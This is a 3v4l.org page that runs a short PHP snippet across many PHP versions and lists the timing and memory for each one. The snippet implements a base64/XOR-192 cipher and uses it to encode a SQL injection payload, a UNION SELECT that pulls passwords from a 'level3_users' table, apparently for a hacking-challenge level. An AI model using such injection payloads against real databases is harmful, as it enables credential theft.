3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,password,5,6,7 FROM level3_users WHERE username=0x41646d696e#"); print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0060.01217.00
8.3.50.0180.01122.15
8.3.40.0060.01219.04
8.3.30.0110.00419.26
8.3.20.0050.00320.41
8.3.10.0080.00023.70
8.3.00.0040.00420.69
8.2.180.0100.01316.88
8.2.170.0070.00722.96
8.2.160.0100.00622.08
8.2.150.0060.00324.18
8.2.140.0140.00324.66
8.2.130.0060.00326.16
8.2.120.0000.00822.20
8.2.110.0090.00022.20
8.2.100.0090.00317.84
8.2.90.0000.00819.17
8.2.80.0080.00018.04
8.2.70.0030.00717.88
8.2.60.0000.00917.93
8.2.50.0000.00918.07
8.2.40.0050.00319.38
8.2.30.0070.00018.07
8.2.20.0050.00317.94
8.2.10.0040.00417.97
8.2.00.0030.00717.80
8.1.280.0090.00925.92
8.1.270.0060.00324.02
8.1.260.0040.00426.35
8.1.250.0080.00028.09
8.1.240.0030.00623.98
8.1.230.0070.00419.13
8.1.220.0060.00317.77
8.1.210.0080.00018.77
8.1.200.0030.00617.60
8.1.190.0040.00417.73
8.1.180.0040.00418.10
8.1.170.0050.00318.84
8.1.160.0080.00022.04
8.1.150.0040.00418.79
8.1.140.0050.00617.60
8.1.130.0080.00017.85
8.1.120.0080.00017.59
8.1.110.0000.00817.64
8.1.100.0040.00317.62
8.1.90.0000.00717.70
8.1.80.0000.00717.69
8.1.70.0000.00717.56
8.1.60.0000.00717.72
8.1.50.0000.00917.66
8.1.40.0050.00317.59
8.1.30.0000.00817.67
8.1.20.0040.00417.72
8.1.10.0040.00417.77
8.1.00.0110.00017.78
8.0.300.0040.00418.77
8.0.290.0040.00417.18
8.0.280.0030.00318.50
8.0.270.0070.00017.32
8.0.260.0000.00716.93
8.0.250.0030.00317.07
8.0.240.0000.00817.16
8.0.230.0030.00317.07
8.0.220.0000.00717.04
8.0.210.0070.00016.98
8.0.200.0050.00217.04
8.0.190.0000.00717.18
8.0.180.0040.00417.11
8.0.170.0040.00417.02
8.0.160.0000.00717.09
8.0.150.0050.00316.92
8.0.140.0040.00417.05
8.0.130.0060.00013.47
8.0.120.0000.00817.03
8.0.110.0050.00217.14
8.0.100.0070.00016.97
8.0.90.0070.00016.96
8.0.80.0060.00917.04
8.0.70.0040.00416.91
8.0.60.0000.00717.13
8.0.50.0040.00417.05
8.0.30.0080.01117.29
8.0.20.0110.00817.48
8.0.10.0040.00417.09
8.0.00.0140.00717.02
7.4.330.0000.00515.00
7.4.320.0070.00016.77
7.4.300.0000.00616.67
7.4.290.0030.00316.86
7.4.280.0050.00316.89
7.4.270.0070.00016.88
7.4.260.0000.00716.71
7.4.250.0060.00316.72
7.4.240.0030.00516.81
7.4.230.0000.00716.94
7.4.220.0030.01416.82
7.4.210.0090.00916.83
7.4.200.0080.00016.57
7.4.190.0000.00716.91
7.4.160.0130.00716.88
7.4.150.0110.00717.40
7.4.140.0140.00617.86
7.4.130.0090.00816.86
7.4.120.0100.00716.83
7.4.110.0060.01116.69
7.4.100.0160.00716.79
7.4.90.0270.00616.86
7.4.80.0070.01016.93
7.4.70.0110.00816.80
7.4.60.0120.00416.68
7.4.50.0080.00016.72
7.4.40.0100.00622.77
7.4.30.0120.00616.86
7.4.10.0060.01215.06
7.4.00.0020.01715.13
7.3.330.0000.00513.41
7.3.320.0030.00313.52
7.3.310.0000.00716.56
7.3.300.0030.00316.53
7.3.290.0120.00316.43
7.3.280.0080.01016.52
7.3.270.0110.00717.40
7.3.260.0070.01316.55
7.3.250.0090.01116.65
7.3.240.0030.01416.90
7.3.230.0200.00016.71
7.3.210.0000.01816.93
7.3.200.0100.00719.39
7.3.190.0090.00916.50
7.3.180.0060.01716.89
7.3.170.0070.01016.55
7.3.160.0070.01416.84
7.3.130.0130.00714.78
7.3.120.0070.01014.89
7.3.110.0060.01114.92
7.3.100.0080.00515.09
7.3.90.0050.01114.94
7.3.80.0030.01015.05
7.3.70.0020.01115.15
7.3.60.0060.00915.04
7.3.50.0040.01315.11
7.3.40.0080.00515.04
7.3.30.0060.00514.99
7.3.20.0050.00816.69
7.3.10.0020.01416.88
7.3.00.0040.00916.77
7.2.330.0140.00416.85
7.2.320.0110.00816.92
7.2.310.0060.01716.95
7.2.300.0110.00916.89
7.2.290.0170.00416.95
7.2.260.0090.01015.29
7.2.250.0060.01315.36
7.2.240.0050.01215.18
7.2.230.0090.00714.96
7.2.220.0050.00815.36
7.2.210.0050.01215.21
7.2.200.0040.00715.26
7.2.190.0020.01715.29
7.2.180.0120.00615.20
7.2.170.0060.00815.23
7.2.160.0080.00915.29
7.2.150.0080.01017.20
7.2.140.0080.00516.98
7.2.130.0050.00917.22
7.2.120.0100.00717.13
7.2.110.0030.01317.03
7.2.100.0040.01117.02
7.2.90.0020.01217.16
7.2.80.0050.01017.13
7.2.70.0090.00717.16
7.2.60.0050.00817.18
7.2.50.0020.01217.11
7.2.40.0100.00517.13
7.2.30.0050.00717.11
7.2.20.0080.00816.99
7.2.10.0070.00917.16
7.2.00.0020.01217.92
7.1.330.0070.00916.04
7.1.320.0060.00716.03
7.1.310.0060.00915.97
7.1.300.0080.00616.11
7.1.290.0020.00915.96
7.1.280.0100.00315.99
7.1.270.0070.00516.11
7.1.260.0040.01115.93
7.1.250.0080.00515.91
7.1.240.0040.01116.10
7.1.230.0080.00315.99
7.1.220.0090.00615.96
7.1.210.0000.01416.03
7.1.200.0070.00815.93
7.1.190.0080.00815.89
7.1.180.0070.00715.87
7.1.170.0040.01215.88
7.1.160.0030.01015.98
7.1.150.0060.00616.14
7.1.140.0060.00916.12
7.1.130.0000.01615.73
7.1.120.0030.00916.02
7.1.110.0070.00716.13
7.1.100.0030.01117.11
7.1.90.0070.00315.89
7.1.80.0040.00716.21
7.1.70.0020.00816.80
7.1.60.0050.01417.53
7.1.50.0070.00516.37
7.1.40.0000.01216.18
7.1.30.0030.00716.13
7.1.20.0060.00315.97
7.1.10.0030.00616.00
7.1.00.0050.04819.18
7.0.330.0030.01015.73
7.0.320.0070.00415.36
7.0.310.0060.00815.49
7.0.300.0060.00315.72
7.0.290.0080.00815.73
7.0.280.0080.00615.74
7.0.270.0040.00415.38
7.0.260.0040.01115.66
7.0.250.0030.01015.70
7.0.240.0060.00915.56
7.0.230.0000.01515.74
7.0.220.0060.00315.64
7.0.210.0050.00315.84
7.0.200.0030.00816.31
7.0.190.0000.00815.53
7.0.180.0030.00715.70
7.0.170.0070.00715.82
7.0.160.0090.00415.47
7.0.150.0030.01015.62
7.0.140.0070.04018.86
7.0.130.0030.00815.57
7.0.120.0040.00715.62
7.0.110.0110.00415.68
7.0.100.0070.00715.60
7.0.90.0070.00315.73
7.0.80.0040.00715.38
7.0.70.0030.01015.39
7.0.60.0050.03517.84
7.0.50.0070.04416.85
7.0.40.0050.02616.78
7.0.30.0210.03816.83
7.0.20.0150.02816.98
7.0.10.0140.04117.06
7.0.00.0100.04016.89
5.6.400.0100.00714.79
5.6.390.0030.00614.55
5.6.380.0000.01014.51
5.6.370.0000.01614.48
5.6.360.0100.00314.89
5.6.350.0080.00814.75
5.6.340.0120.00414.28
5.6.330.0040.01214.48
5.6.320.0070.00714.81
5.6.310.0030.01014.57
5.6.300.0060.00614.81
5.6.290.0060.00314.70
5.6.280.0050.03717.69
5.6.270.0070.00414.30
5.6.260.0110.00414.53
5.6.250.0030.01014.52
5.6.240.0030.00614.70
5.6.230.0040.00714.90
5.6.220.0070.00714.61
5.6.210.0050.04717.55
5.6.200.0070.04316.29
5.6.190.0040.02917.61
5.6.180.0070.05017.59
5.6.170.0130.02817.56
5.6.160.0050.03317.41
5.6.150.0070.02916.35
5.6.140.0040.02516.40
5.6.130.0050.03516.42
5.6.120.0080.02117.82
5.6.110.0080.03317.67
5.6.100.0050.03517.69
5.6.90.0070.02217.71
5.6.80.0090.02217.28
5.6.70.1970.02317.44
5.6.60.0030.01014.53
5.6.50.0040.01114.61
5.6.40.0030.01014.50
5.6.30.0070.00414.59
5.6.20.0060.00614.24
5.6.10.0090.00614.40
5.6.00.0030.00914.31
5.5.380.0030.01014.74
5.5.370.0000.01114.84
5.5.360.0130.00314.37
5.5.350.0100.03817.42
5.5.340.0060.03116.20
5.5.330.0070.03117.38
5.5.320.0100.03817.44
5.5.310.0110.04617.39
5.5.300.0100.04316.37
5.5.290.0050.04316.21
5.5.280.0120.04017.63
5.5.270.0000.04517.67
5.5.260.0030.03017.67
5.5.250.0040.03217.45
5.5.240.0130.02717.23
5.5.230.0060.00614.11
5.5.220.0060.00614.17
5.5.210.0000.00914.54
5.5.200.0030.00914.50
5.5.190.0060.00614.18
5.5.180.0030.00714.35
5.5.170.0030.01214.33
5.5.160.0030.00914.43
5.5.150.0070.00314.33
5.5.140.0090.00614.27
5.5.130.0070.00914.35
5.5.120.0040.01114.58
5.5.110.0030.01014.21
5.5.100.0040.00714.30
5.5.90.0000.01614.12
5.5.80.0070.00714.30
5.5.70.0100.00014.14
5.5.60.0030.01014.49
5.5.50.0050.00514.30
5.5.40.0000.01014.45
5.5.30.0060.00614.21
5.5.20.0030.01014.35
5.5.10.0070.00714.28
5.5.00.0070.00714.12
5.4.450.0300.02315.26
5.4.440.0180.03215.54
5.4.430.0120.02715.36
5.4.420.0300.02515.20
5.4.410.0200.02415.28
5.4.400.0300.03414.96
5.4.390.0320.03614.81
5.4.380.0130.02914.86
5.4.370.0050.03015.02
5.4.360.0090.02715.07
5.4.350.0080.03314.85
5.4.340.0100.03015.03
5.4.330.0070.00011.53
5.4.320.0050.02311.86
5.4.310.0080.02411.75
5.4.300.0080.02311.86
5.4.290.0070.02211.93
5.4.280.0100.01911.79
5.4.270.0110.02011.76
5.4.260.0040.02611.92
5.4.250.0060.02611.95
5.4.240.0020.02611.94
5.4.230.0050.02411.63
5.4.220.0070.02911.83
5.4.210.0060.01911.67
5.4.200.0050.02511.89
5.4.190.0020.02911.76
5.4.180.0060.02211.83
5.4.170.0100.04011.80
5.4.160.0090.02611.65
5.4.150.0110.02311.69
5.4.140.0110.02411.67
5.4.130.0090.02411.59
5.4.120.0050.02911.72
5.4.110.0070.02711.60
5.4.100.0100.02311.60
5.4.90.0140.05111.62
5.4.80.0080.02411.61
5.4.70.0130.02211.55
5.4.60.0090.02511.72
5.4.50.0110.02211.65
5.4.40.0120.02311.47
5.4.30.0070.02811.58
5.4.20.0080.02611.62
5.4.10.0120.02111.65
5.4.00.0110.02311.28
5.3.290.0050.02611.81
5.3.280.0050.03011.72
5.3.270.0100.02611.79
5.3.260.0080.02711.62
5.3.250.0160.03411.71
5.3.240.0110.02411.70
5.3.230.0070.03011.58
5.3.220.0150.02011.64
5.3.210.0070.02811.65
5.3.200.0060.03011.71
5.3.190.0120.02411.57
5.3.180.0100.03811.62
5.3.170.0120.02311.76
5.3.160.0120.03711.76
5.3.150.0110.02511.76
5.3.140.0120.02211.73
5.3.130.0090.02711.55
5.3.120.0130.03711.71
5.3.110.0090.02611.55
5.3.100.0120.02311.32
5.3.90.0090.02411.31
5.3.80.0210.04611.33
5.3.70.0120.02411.37
5.3.60.0110.02511.27
5.3.50.0130.05211.22
5.3.40.0120.02411.30
5.3.30.0080.02611.17
5.3.20.0060.02811.28
5.3.10.0080.02711.15
5.3.00.0080.02511.07
5.2.170.0250.0529.23
5.2.160.0130.0339.22
5.2.150.0150.0319.23
5.2.140.0150.0329.22
5.2.130.0120.0349.18
5.2.120.0120.0349.18
5.2.110.0120.0359.18
5.2.100.0130.0349.20
5.2.90.0160.0309.19
5.2.80.0100.0369.18
5.2.70.0300.0819.18
5.2.60.0120.0369.13
5.2.50.0100.0389.10
5.2.40.0080.0389.08
5.2.30.0130.0339.05
5.2.20.0150.0319.06
5.2.10.0100.0368.95
5.2.00.0120.0328.80
5.1.60.0110.0288.08
5.1.50.0080.0328.09
5.1.40.0130.0268.07
5.1.30.0110.0318.41
5.1.20.0100.0328.45
5.1.10.0120.0308.16
5.1.00.0100.0318.16
5.0.50.0110.0226.65
5.0.40.0160.0466.51
5.0.30.0110.0336.32
5.0.20.0070.0256.30
5.0.10.0080.0236.27
5.0.00.0100.0346.26
4.4.90.0080.0174.78
4.4.80.0100.0154.75
4.4.70.0100.0164.75
4.4.60.0070.0194.75
4.4.50.0050.0204.77
4.4.40.0090.0264.71
4.4.30.0080.0184.76
4.4.20.0110.0444.85
4.4.10.0060.0194.84
4.4.00.0080.0284.76
4.3.110.0070.0184.67
4.3.100.0160.0394.67
4.3.90.0060.0184.64
4.3.80.0080.0274.59
4.3.70.0050.0194.63
4.3.60.0080.0164.63
4.3.50.0080.0164.63
4.3.40.0070.0274.54
4.3.30.0060.0173.33
4.3.20.0030.0203.32
4.3.10.0050.0183.28
4.3.00.0170.02015.48

preferences:
41.41 ms | 401 KiB | 5 Q